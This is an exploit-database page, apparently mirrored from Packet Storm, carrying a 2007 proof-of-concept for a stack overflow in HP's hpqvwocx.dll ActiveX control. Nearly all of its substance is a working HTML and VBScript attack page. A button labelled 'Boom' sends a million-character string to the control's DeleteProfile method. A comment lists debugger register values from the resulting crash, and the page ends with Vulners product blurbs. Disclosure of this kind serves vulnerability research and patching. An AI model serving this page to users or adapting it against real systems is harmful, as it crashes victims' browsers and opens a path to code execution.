Lucene search
K

hpmagview-dos.txt

🗓️ 16 May 2007 00:00:00Reported by callAXType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

Proof of Concept -> Hewlett Packard Stack Overflow in hpqvwocx.dll v1.0.0.309, Tested in Windows XP Service Pack 2, Discovered by Goodfellas Security Research Tea

Code
`<html>  
  
<head>  
  
<title>  
  
Proof of Concept -> Hewlett Packard Stack Overflow in hpqvwocx.dll v1.0.0.309  
  
</title>  
  
</head>  
  
  
  
<h4>Proof of Concept -> Hewlett Packard Stack Overflow in hpqvwocx.dll v1.0.0.309<br>  
  
Tested in Windows XP Service Pack 2<br>  
  
Discovered by Goodfellas Security Research Team<br>  
  
Url ->http://www.hp.com<br> author -> callAX<br>mail -> [email protected]<br>  
  
http://www.shellcode.com.ar / http://www.securenetworks.ch</h4>  
  
  
  
<object classid='clsid:BA726BF9-ED2F-461B-9447-CD5C7D66CE8D' id='pAF' ></object>  
  
  
  
<input type="button" value="Boom" language="VBScript" OnClick="OuCh()">  
  
  
  
<script language="VBScript">  
  
  
  
sub OuCh()  
  
  
  
Var_0 = String(1000000, "A")  
  
  
  
pAF.DeleteProfile Var_0  
  
  
  
End Sub  
  
  
  
  
  
</script>  
  
  
  
</html>  
  
  
  
<!--  
  
  
  
Tested in OllyDBG 1.08b  
  
  
  
TEST DWORD PTR DS:[ECX],EAX  
  
  
  
EAX -> 000ED484  
  
ECX -> 000425F4  
  
EDX -> 00000000  
  
EBX -> 00000000  
  
EIP -> 04B47B97  
  
  
  
Sub DeleteProfile (  
  
ByVal Name As String  
  
)  
  
  
  
-->  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation